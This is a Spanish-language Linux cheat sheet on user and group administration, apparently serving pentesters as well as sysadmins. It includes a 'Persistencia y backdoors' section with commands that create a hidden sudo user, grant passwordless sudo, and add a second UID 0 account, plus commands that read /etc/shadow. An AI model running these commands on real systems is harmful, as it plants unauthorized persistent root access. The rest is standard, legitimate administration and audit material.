Gestión de Usuarios y Grupos
Comandos esenciales para la administración de cuentas de usuario, grupos y control de acceso en sistemas Linux.
Monitoreo de Usuarios
Section titled “Monitoreo de Usuarios”useradd - Agregar usuarios
Section titled “useradd - Agregar usuarios”Crea nuevas cuentas de usuario en el sistema. Comando fundamental para administración de usuarios y gestión de accesos.
# Crear usuario básicouseradd username
# Crear usuario con directorio homeuseradd -m username
# Crear usuario con shell específicouseradd -s /bin/bash username
# Crear usuario con grupo primariouseradd -g groupname username
# Crear usuario con grupos secundariosuseradd -G group1,group2 username
# Crear usuario con UID específicouseradd -u 1001 username
# Crear usuario completouseradd -m -s /bin/bash -G sudo,users -c "Nombre Completo" usernameusermod - Modificar usuarios
Section titled “usermod - Modificar usuarios”Modifica cuentas de usuario existentes. Permite cambiar configuraciones sin recrear la cuenta.
# Cambiar shell del usuariousermod -s /bin/zsh username
# Agregar usuario a grupousermod -aG groupname username
# Cambiar grupo primariousermod -g newgroup username
# Cambiar directorio homeusermod -d /new/home/path username
# Bloquear cuentausermod -L username
# Desbloquear cuentausermod -U username
# Cambiar UIDusermod -u 1002 username
# Cambiar nombre de usuariousermod -l newname oldnameuserdel - Eliminar usuarios
Section titled “userdel - Eliminar usuarios”Elimina cuentas de usuario del sistema. Importante para limpieza de seguridad y gestión de accesos.
# Eliminar usuario (mantener home)userdel username
# Eliminar usuario y directorio homeuserdel -r username
# Forzar eliminaciónuserdel -f usernameUso en pentesting: Crear usuarios temporales para persistencia, modificar cuentas existentes para mantener acceso.
Gestión de Grupos
Section titled “Gestión de Grupos”groupadd - Crear grupos
Section titled “groupadd - Crear grupos”Crea nuevos grupos en el sistema. Útil para organización de permisos y control de acceso granular.
# Crear grupo básicogroupadd groupname
# Crear grupo con GID específicogroupadd -g 1001 groupname
# Crear grupo del sistemagroupadd -r systemgroupgroupmod - Modificar grupos
Section titled “groupmod - Modificar grupos”Modifica grupos existentes como nombre o GID. Permite reorganizar estructura de grupos sin recrearlos.
# Cambiar nombre del grupogroupmod -n newname oldname
# Cambiar GIDgroupmod -g 1002 groupnamegroupdel - Eliminar grupos
Section titled “groupdel - Eliminar grupos”Elimina grupos del sistema. Importante para limpieza y reorganización de permisos.
# Eliminar grupogroupdel groupnamegpasswd - Administrar grupos
Section titled “gpasswd - Administrar grupos”# Agregar usuario al grupogpasswd -a username groupname
# Eliminar usuario del grupogpasswd -d username groupname
# Establecer administradores del grupogpasswd -A admin1,admin2 groupname
# Establecer miembros del grupogpasswd -M user1,user2,user3 groupnameConsulta de Información
Section titled “Consulta de Información”id - Información del usuario
Section titled “id - Información del usuario”Muestra UID, GID y grupos de un usuario. Comando fundamental para verificación de identidad y permisos.
# Información del usuario actualid
# Información de usuario específicoid username
# Solo UIDid -u username
# Solo GIDid -g username
# Todos los gruposid -G username
# Nombres de gruposid -Gn usernamewhoami - Usuario actual
Section titled “whoami - Usuario actual”whoamigroups - Mostrar grupos del usuario
Section titled “groups - Mostrar grupos del usuario”Muestra grupos a los que pertenece un usuario. Útil para auditoría de permisos y verificación de accesos.
# Grupos del usuario actualgroups
# Grupos de usuario específicogroups usernamegetent - Consultar bases de datos del sistema
Section titled “getent - Consultar bases de datos del sistema”Consulta información de usuarios y grupos desde diversas fuentes. Útil para sistemas con LDAP o NIS.
# Información de usuariogetent passwd username
# Información de grupogetent group groupname
# Todos los usuariosgetent passwd
# Todos los gruposgetent group
# Usuarios con UID específicogetent passwd 1000📋 Archivos de Configuración
Section titled “📋 Archivos de Configuración”/etc/passwd - Base de datos de usuarios
Section titled “/etc/passwd - Base de datos de usuarios”# Formato: username:x:UID:GID:comment:home:shellcat /etc/passwd
# Buscar usuario específicogrep username /etc/passwd
# Usuarios con shell de logingrep -v "/nologin\|/false" /etc/passwd
# Usuarios del sistema (UID < 1000)awk -F: '$3 < 1000 {print $1}' /etc/passwd/etc/shadow - Contraseñas encriptadas
Section titled “/etc/shadow - Contraseñas encriptadas”# Ver información de contraseñas (requiere root)sudo cat /etc/shadow
# Formato: username:password:lastchange:min:max:warn:inactive:expire:reserved
# Usuarios sin contraseñasudo awk -F: '$2 == "" {print $1}' /etc/shadow
# Cuentas bloqueadassudo awk -F: '$2 ~ /^!/ {print $1}' /etc/shadow/etc/group - Base de datos de grupos
Section titled “/etc/group - Base de datos de grupos”# Ver todos los gruposcat /etc/group
# Formato: groupname:x:GID:members
# Buscar grupo específicogrep groupname /etc/group
# Grupos con miembros específicosgrep username /etc/groupGestión de Contraseñas
Section titled “Gestión de Contraseñas”passwd - Cambiar contraseñas
Section titled “passwd - Cambiar contraseñas”Gestiona contraseñas de usuarios. Comando crítico para seguridad y gestión de credenciales.
# Cambiar contraseña propiapasswd
# Cambiar contraseña de otro usuario (root)passwd username
# Eliminar contraseña (¡PELIGROSO!)passwd -d username
# Bloquear cuentapasswd -l username
# Desbloquear cuentapasswd -u username
# Forzar cambio en próximo loginpasswd -e username
# Ver estado de la contraseñapasswd -S usernamechage - Gestión de expiración
Section titled “chage - Gestión de expiración”Configura políticas de expiración de contraseñas. Importante para cumplimiento de políticas de seguridad. de contraseñas
# Ver información de agingchage -l username
# Establecer fecha de expiraciónchage -E 2024-12-31 username
# Días máximos entre cambioschage -M 90 username
# Días mínimos entre cambioschage -m 7 username
# Días de advertencia antes de expiraciónchage -W 14 username
# Forzar cambio en próximo loginchage -d 0 username🔄 Cambio de Usuario y Contexto
Section titled “🔄 Cambio de Usuario y Contexto”su - Cambiar usuario
Section titled “su - Cambiar usuario”Cambia a otro usuario temporalmente. Comando básico para escalación de privilegios y testing.
# Cambiar a rootsu
# Cambiar a usuario específicosu username
# Cambiar con entorno completosu - username
# Ejecutar comando como otro usuariosu -c "command" username
# Preservar entornosu -p usernamesudo - Ejecutar como otro usuario
Section titled “sudo - Ejecutar como otro usuario”Ejecuta comandos con privilegios de otro usuario. Sistema moderno y seguro para escalación de privilegios.
# Ejecutar comando como rootsudo command
# Ejecutar como usuario específicosudo -u username command
# Cambiar a shell de rootsudo -i
# Cambiar a usuario específicosudo -i -u username
# Listar permisos sudosudo -l
# Editar archivo con privilegiossudo -e /etc/hostsnewgrp - Cambiar grupo activo
Section titled “newgrp - Cambiar grupo activo”# Cambiar a grupo específiconewgrp groupname
# Volver al grupo originalexit🔍 Ejemplos para Pentesting
Section titled “🔍 Ejemplos para Pentesting”Enumeración de usuarios
Section titled “Enumeración de usuarios”# Usuarios con shell de logincat /etc/passwd | grep -E "/bin/(bash|sh|zsh|fish)"
# Usuarios con UID 0 (root)awk -F: '$3 == 0 {print $1}' /etc/passwd
# Usuarios en grupo sudo/wheelgrep -E "^(sudo|wheel|admin)" /etc/group
# Usuarios con directorio homels -la /home/
# Últimos loginslast | head -20Análisis de privilegios
Section titled “Análisis de privilegios”# Verificar permisos sudo del usuario actualsudo -l 2>/dev/null
# Buscar archivos SUID de usuarios específicosfind / -user root -perm -4000 2>/dev/null
# Verificar membresía en grupos privilegiadosid | grep -E "(sudo|wheel|admin|root)"
# Buscar usuarios sin contraseñasudo awk -F: '$2 == "" {print $1}' /etc/shadow 2>/dev/nullPersistencia y backdoors
Section titled “Persistencia y backdoors”# Crear usuario backdoorsudo useradd -m -s /bin/bash -G sudo backdoorecho 'backdoor:password' | sudo chpasswd
# Agregar usuario a sudoers sin contraseñaecho 'backdoor ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/backdoor
# Crear usuario con UID 0 (root alternativo)sudo useradd -u 0 -g 0 -M -s /bin/bash rootuserAuditoría de seguridad
Section titled “Auditoría de seguridad”# Usuarios con contraseñas débiles o vacíassudo awk -F: '$2 == "" || $2 == "!" {print $1}' /etc/shadow
# Cuentas inactivassudo lastlog | awk '$2 == "**Never" {print $1}'
# Usuarios con shells no estándarawk -F: '$7 !~ /(bash|sh|zsh|fish|nologin|false)$/ {print $1":"$7}' /etc/passwd
# Grupos con muchos miembrosawk -F: 'NF > 3 {print $1":"$4}' /etc/group | sort🛠️ Scripts de Administración
Section titled “🛠️ Scripts de Administración”Script de creación de usuario completo
Section titled “Script de creación de usuario completo”#!/bin/bashread -p "Nombre de usuario: " usernameread -p "Nombre completo: " fullnameread -s -p "Contraseña: " passwordecho
# Crear usuariouseradd -m -s /bin/bash -c "$fullname" "$username"echo "$username:$password" | chpasswd
# Agregar a grupos básicosusermod -aG users,sudo "$username"
# Configurar expiración de contraseñachage -M 90 -W 14 "$username"
echo "Usuario $username creado exitosamente"Script de auditoría de usuarios
Section titled “Script de auditoría de usuarios”#!/bin/bashecho "=== AUDITORÍA DE USUARIOS ==="
echo "Usuarios con shell de login:"grep -E "/bin/(bash|sh|zsh)" /etc/passwd | cut -d: -f1
echo -e "\nUsuarios en grupo sudo:"grep "^sudo:" /etc/group | cut -d: -f4 | tr ',' '\n'
echo -e "\nUsuarios sin contraseña:"sudo awk -F: '$2 == "" {print $1}' /etc/shadow 2>/dev/null
echo -e "\nÚltimos logins:"last | head -10🔒 Configuración de Seguridad
Section titled “🔒 Configuración de Seguridad”Políticas de contraseñas
Section titled “Políticas de contraseñas”# Configurar política en /etc/login.defsPASS_MAX_DAYS 90PASS_MIN_DAYS 7PASS_WARN_AGE 14PASS_MIN_LEN 8
# Configurar complejidad con PAM# /etc/pam.d/common-passwordpassword requisite pam_pwquality.so retry=3 minlen=8 difok=3Restricciones de acceso
Section titled “Restricciones de acceso”# Limitar acceso SSH por usuarioAllowUsers user1 user2DenyUsers baduser
# Configurar tiempo de inactividad# /etc/profileTMOUT=1800Nota de Seguridad: La gestión incorrecta de usuarios y grupos puede comprometer la seguridad del sistema. Siempre sigue el principio de menor privilegio y audita regularmente las cuentas de usuario.